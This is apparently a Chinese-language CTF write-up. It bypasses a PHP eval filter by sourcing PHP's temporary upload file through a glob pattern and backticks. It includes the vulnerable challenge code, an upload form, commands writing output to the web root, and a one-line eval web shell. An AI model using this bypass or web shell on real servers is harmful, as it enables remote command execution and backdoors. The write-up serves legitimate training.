首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
现在我们可以利用glob通配符匹配该文件,我们知道
*可以代替0个及以上任意文件
?可以代表1个任意字符
[^a]可以用来判断这个位置的字符是不是a
[0-9]可以用来限制范围
通过ascii码表我们知道,可见大写字母@与[之间,所以我们可以利用[@-[]来表示大写字母。
综上,我们可以利用. /???/????????[@-[]来匹配/tmp/phpXXXXXX
实战演练<?php if(isset($_GET['evil'])){ if(strlen($_GET['evil'])>25||preg_match("/[w$=()<>'"]/", $_GET['evil'])){ die("danger!!"); } @eval($_GET['evil']); } highlight_file(__FILE__); ?>
通过编写脚本看看哪些可见字符没有被过滤
<?php for ($ascii = 0; $ascii < 256; $ascii++) { if (!preg_match("/[w$=()<>'"]/", chr($ascii))) { echo (chr($ascii)); } } ?>
可以发现过滤了字母,数字,`$`,`_`,`()`等,但`和 . 还没有被过滤。由于过滤了()所以不论PHP版本是5或者7,都不能执行($a)(),所以就没有必要去判断PHP版本。由此可以想到上传一个小马文件,然后用 ` 来执行文件。
首先,我们应该上传写一个表单上传
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> <form action="http://ip:*****/" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="提交"> </form> </body> </html>提交一个1.txt的文件,这个文件会被保存在这个/tmp/phpXXXXXX临时文件夹下,我们执行这个临时文件夹就是执行1.txt文件里面的内容。
我们在把1.txt中写入ls,并把执行完1.txt文件返回的内容(即执行ls返回的内容)保存在var/www/html目录下的abc文件中
var/www/html是Apache的默认路径,我们也可以直接写ls />abc
接着在ip地址后添加/abc,可以看到成功返回执行1.txt后的内容。
直接cat flag
我们还可以上传一个小马文件get flag
例如我们创建一个hello.php的文件,文件内容为
echo "<?php eval($_POST['shell']);"
然后cat flag